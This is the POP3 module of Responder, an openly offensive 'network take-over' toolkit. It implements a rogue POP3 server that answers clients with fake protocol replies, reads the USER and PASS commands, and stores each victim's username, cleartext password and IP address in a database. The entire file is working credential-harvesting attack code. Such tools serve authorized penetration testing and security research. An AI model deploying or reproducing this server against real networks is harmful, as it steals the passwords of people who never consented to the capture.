#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
from utils import *
if settings.Config.PY2OR3 == "PY3":
	from socketserver import BaseRequestHandler
else:
	from SocketServer import BaseRequestHandler
from packets import POPOKPacket,POPNotOKPacket

# POP3 Server class
class POP3(BaseRequestHandler):
	def SendPacketAndRead(self):
		Packet = POPOKPacket()
		self.request.send(NetworkSendBufferPython2or3(Packet))
		return self.request.recv(1024)

	def handle(self):
		try:
			data = self.SendPacketAndRead()
			if data[0:4] == b'CAPA':
				self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
				data = self.request.recv(1024)
			if data[0:4] == b'AUTH':
				self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
				data = self.request.recv(1024)
			if data[0:4] == b'USER':
				User = data[5:].strip(b"\r\n").decode("latin-1")
				data = self.SendPacketAndRead()
			if data[0:4] == b'PASS':
				Pass = data[5:].strip(b"\r\n").decode("latin-1")

				SaveToDb({
					'module': 'POP3', 
					'type': 'Cleartext', 
					'client': self.client_address[0], 
					'user': User, 
					'cleartext': Pass, 
					'fullhash': User+":"+Pass,
				})
			self.SendPacketAndRead()
		except Exception:
			pass